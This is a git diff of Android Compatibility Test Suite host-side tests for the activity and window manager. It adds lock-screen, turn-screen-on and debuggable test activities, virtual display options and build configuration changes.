@@ -25,12 +25,14 @@
LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
LOCAL_STATIC_JAVA_LIBRARIES := cts-amwm-util \
- platform-test-annotations-host
+ cts-display-service-app-util \
+ platform-test-annotations-host \
+ compatibility-host-util
LOCAL_CTS_TEST_PACKAGE := android.server
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
index 9e394951..52b8d55 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
@@ -20,11 +20,13 @@
<option name="test-file-name" value="CtsDeviceServicesTestApp.apk" />
<option name="test-file-name" value="CtsDeviceServicesTestSecondApp.apk" />
<option name="test-file-name" value="CtsDeviceServicesTestThirdApp.apk" />
+ <option name="test-file-name" value="CtsDeviceDebuggableApp.apk" />
<option name="test-file-name" value="CtsDeviceDisplaySizeApp.apk" />
+ <option name="test-file-name" value="CtsDisplayServiceApp.apk" />
<option name="test-file-name" value="CtsDeviceTranslucentTestApp.apk" />
</target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsServicesHostTestCases.jar" />
- <option name="runtime-hint" value="4m7s" />
+ <option name="runtime-hint" value="4m44s" />
</test>
</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
index 2633c0a..67f2248 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceServicesTestApp
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
index f0fc0ac..6f70b62 100755
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
@@ -53,6 +53,7 @@
/>
<activity android:name=".ResizeableActivity"
android:resizeableActivity="true"
+ android:allowEmbedded="true"
android:exported="true"
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"
/>
@@ -361,6 +362,45 @@
android:noHistory="true"
android:exported="true" />
+ <activity android:name=".ShowWhenLockedAttrActivity"
+ android:showWhenLocked="true"
+ android:exported="true" />
+
+ <activity android:name=".ShowWhenLockedAttrRemoveAttrActivity"
+ android:showWhenLocked="true"
+ android:exported="true" />
+
+ <activity android:name=".ShowWhenLockedAttrWithDialogActivity"
+ android:showWhenLocked="true"
+ android:exported="true" />
+
+ <activity android:name=".TurnScreenOnAttrActivity"
+ android:turnScreenOn="true"
+ android:exported="true" />
+
+ <activity android:name=".TurnScreenOnShowOnLockActivity"
+ android:showWhenLocked="true"
+ android:turnScreenOn="true"
+ android:exported="true" />
+
+ <activity android:name=".TurnScreenOnAttrRemoveAttrActivity"
+ android:turnScreenOn="true"
+ android:showWhenLocked="true"
+ android:exported="true" />
+
+ <activity android:name=".TurnScreenOnSingleTaskActivity"
+ android:turnScreenOn="true"
+ android:showWhenLocked="true"
+ android:exported="true"
+ android:launchMode="singleTask" />
+
+ <activity android:name=".TurnScreenOnAttrDismissKeyguardActivity"
+ android:turnScreenOn="true"
+ android:exported="true"/>
+
+ <activity android:name=".TurnScreenOnWithRelayoutActivity"
+ android:exported="true"/>
+
<service android:name="com.android.cts.verifier.vr.MockVrListenerService"
android:exported="true"
android:enabled="true"
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
index 333e0d2..9d29917 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
@@ -34,6 +34,12 @@
}
@Override
+ protected void onStart() {
+ super.onResume();
+ Log.i(getTag(), "onStart");
+ }
+
+ @Override
protected void onResume() {
super.onResume();
Log.i(getTag(), "onResume");
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java
index e762953..18f290f 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java
@@ -33,8 +33,6 @@
public static final String EXTRA_FINISH_SELF = "finish_self";
// Attempts to enter picture-in-picture in onResume
public static final String EXTRA_ENTER_PIP = "enter_pip";
- // Display on which Assistant runs
- public static final String EXTRA_ASSISTANT_DISPLAY_ID = "assistant_display_id";
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -49,14 +47,7 @@
i.setComponent(new ComponentName(this, getPackageName() + "."
+ getIntent().getStringExtra(EXTRA_LAUNCH_NEW_TASK)));
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
- if (getIntent().hasExtra(EXTRA_ASSISTANT_DISPLAY_ID)) {
- ActivityOptions displayOptions = ActivityOptions.makeBasic();
- displayOptions.setLaunchDisplayId(Integer.parseInt(getIntent()
- .getStringExtra(EXTRA_ASSISTANT_DISPLAY_ID)));
- startActivity(i, displayOptions.toBundle());
- } else {
- startActivity(i);
- }
+ startActivity(i);
}
// Enter pip if requested
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java
old mode 100644
new mode 100755
index 51c2348..437a43c
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java
@@ -29,10 +29,14 @@
private boolean mReady;
+ private boolean mStarted;
+ private Bundle mExtras;
+
@Override
public void onReady() {
super.onReady();
mReady = true;
+ showSessionIfReady();
}
@Override
@@ -43,13 +47,18 @@
stopSelf();
return START_NOT_STICKY;
}
- if (mReady) {
- Bundle extras = intent.getExtras() != null ? intent.getExtras() : new Bundle();
- showSession(extras, 0);
- }
+ mExtras = intent.getExtras() != null ? intent.getExtras() : new Bundle();
+ mStarted = true;
+ showSessionIfReady();
return START_NOT_STICKY;
}
+ private void showSessionIfReady() {
+ if (mReady && mStarted) {
+ showSession(mExtras, 0);
+ }
+ };
+
/**
* Starts the assistant voice interaction service, which initiates a new session that starts
* the assistant activity.
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java
index 24be43a..264f69b 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java
@@ -16,6 +16,7 @@
package android.server.cts;
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
import static android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
import android.app.Activity;
@@ -27,6 +28,13 @@
import android.os.Bundle;
import android.server.cts.tools.ActivityLauncher;
import android.util.Log;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.Window;
+import android.view.WindowInsets;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
/**
* Activity that registers broadcast receiver .
@@ -45,6 +53,34 @@
IntentFilter broadcastFilter = new IntentFilter(ACTION_TRIGGER_BROADCAST);
registerReceiver(mBroadcastReceiver, broadcastFilter);
+
+ // Determine if a display cutout is present
+ final View view = new View(this);
+ getWindow().requestFeature(Window.FEATURE_NO_TITLE);
+ try {
+ Field field = getWindow().getAttributes().getClass().getField(
+ "layoutInDisplayCutoutMode");
+ field.setAccessible(true);
+ field.setInt(getWindow().getAttributes(),
+ 1 /* LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES */);
+ } catch (Exception e) {
+ e.printStackTrace();
+ return;
+ }
+ view.setLayoutParams(new ViewGroup.LayoutParams(MATCH_PARENT, MATCH_PARENT));
+ view.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
+ | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION);
+ view.setOnApplyWindowInsetsListener((v, insets) -> {
+ try {
+ Method method = WindowInsets.class.getDeclaredMethod("getDisplayCutout");
+ Object displayCutoutInstance = method.invoke(insets);
+ Log.i(getClass().getSimpleName(), "cutout=" + (displayCutoutInstance != null));
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return insets;
+ });
+ setContentView(view);
}
@Override
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
index 2ec417f..6e713ec 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
@@ -20,11 +20,18 @@
import android.content.Context;
import android.content.Intent;
import android.server.cts.tools.ActivityLauncher;
+import android.util.Log;
/** Broadcast receiver that can launch activities. */
public class LaunchBroadcastReceiver extends BroadcastReceiver {
+ private static final String TAG = LaunchBroadcastReceiver.class.getSimpleName();
+
@Override
public void onReceive(Context context, Intent intent) {
- ActivityLauncher.launchActivityFromExtras(context, intent.getExtras());
+ try {
+ ActivityLauncher.launchActivityFromExtras(context, intent.getExtras());
+ } catch (SecurityException e) {
+ Log.e(TAG, "SecurityException launching activity");
+ }
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java
new file mode 100644
index 0000000..c53c485
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class ShowWhenLockedAttrActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = ShowWhenLockedAttrActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java
new file mode 100644
index 0000000..dbad34d
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.os.Bundle;
+
+public class ShowWhenLockedAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = ShowWhenLockedAttrRemoveAttrActivity.class.getSimpleName();
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+ setShowWhenLocked(false);
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java
new file mode 100644
index 0000000..136706a
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedAttrWithDialogActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ new AlertDialog.Builder(this)
+ .setTitle("Dialog")
+ .show();
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java
new file mode 100644
index 0000000..5e1f5d1
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class TurnScreenOnAttrActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnAttrActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java
new file mode 100644
index 0000000..b1b860f
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.KeyguardManager;
+import android.os.Bundle;
+
+public class TurnScreenOnAttrDismissKeyguardActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnAttrDismissKeyguardActivity.class.getSimpleName();
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ ((KeyguardManager) getSystemService(KEYGUARD_SERVICE))
+ .requestDismissKeyguard(this, new KeyguardDismissLoggerCallback(this));
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java
new file mode 100644
index 0000000..29911fe
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class TurnScreenOnAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnAttrRemoveAttrActivity.class.getSimpleName();
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+ setTurnScreenOn(false);
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java
new file mode 100644
index 0000000..57ff4fb
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class TurnScreenOnShowOnLockActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnShowOnLockActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java
new file mode 100644
index 0000000..29c71d0
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class TurnScreenOnSingleTaskActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnSingleTaskActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java
new file mode 100644
index 0000000..14c2801
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+import android.view.WindowManager;
+
+public class TurnScreenOnWithRelayoutActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = TurnScreenOnWithRelayoutActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+ @Override
+ protected void onStart() {
+ super.onStart();
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+ | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+
+ // This is to force a relayout, specifically with insets changed. When the insets are
+ // changed, it will trigger a performShow that could turn the screen on.
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
index 07edfac..dd12acb 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
@@ -41,6 +41,8 @@
private static final int DEFAULT_DENSITY_DPI = 160;
private static final String KEY_DENSITY_DPI = "density_dpi";
+ private static final String KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD
+ = "can_show_with_insecure_keyguard";
private static final String KEY_PUBLIC_DISPLAY = "public_display";
private static final String KEY_RESIZE_DISPLAY = "resize_display";
private static final String KEY_LAUNCH_TARGET_ACTIVITY = "launch_target_activity";
@@ -167,13 +169,20 @@
int flags = 0;
+ final boolean canShowWithInsecureKeyguard
+ = entry.extras.getBoolean(KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD);
+ if (canShowWithInsecureKeyguard) {
+ flags |= 1 << 5; // VIRTUAL_DISPLAY_FLAG_CAN_SHOW_WITH_INSECURE_KEYGUARD
+ }
+
final boolean publicDisplay = entry.extras.getBoolean(KEY_PUBLIC_DISPLAY);
if (publicDisplay) {
flags |= VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
}
Log.d(TAG, "createVirtualDisplay: " + width + "x" + height + ", dpi: "
- + densityDpi + ", publicDisplay=" + publicDisplay);
+ + densityDpi + ", canShowWithInsecureKeyguard=" + canShowWithInsecureKeyguard
+ + ", publicDisplay=" + publicDisplay);
try {
VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(
"VirtualDisplay" + mVirtualDisplays.size(), width,
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
index cac6bd6..15b55f5 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
@@ -81,6 +81,10 @@
newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
}
- context.startActivity(newIntent, options != null ? options.toBundle() : null);
+ try {
+ context.startActivity(newIntent, options != null ? options.toBundle() : null);
+ } catch (SecurityException e) {
+ Log.e(TAG, "SecurityException launching activity");
+ }
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk
new file mode 100644
index 0000000..ddb08a2
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDeviceDebuggableApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml
new file mode 100644
index 0000000..c00f2b6
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.cts.debuggable">
+
+ <!--
+ * Security policy requires that only debuggable processes can be profiled
+ * which is tested by ActivityManagerAmProfileTests.
+ -->
+ <application android:debuggable="true">
+ <activity android:name=".DebuggableAppActivity"
+ android:resizeableActivity="true"
+ android:exported="true" />
+ </application>
+
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java
new file mode 100644
index 0000000..504ffcf
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts.debuggable;
+
+import android.app.Activity;
+
+public class DebuggableAppActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
index 7f7abd2..98feb61 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceDisplaySizeApp
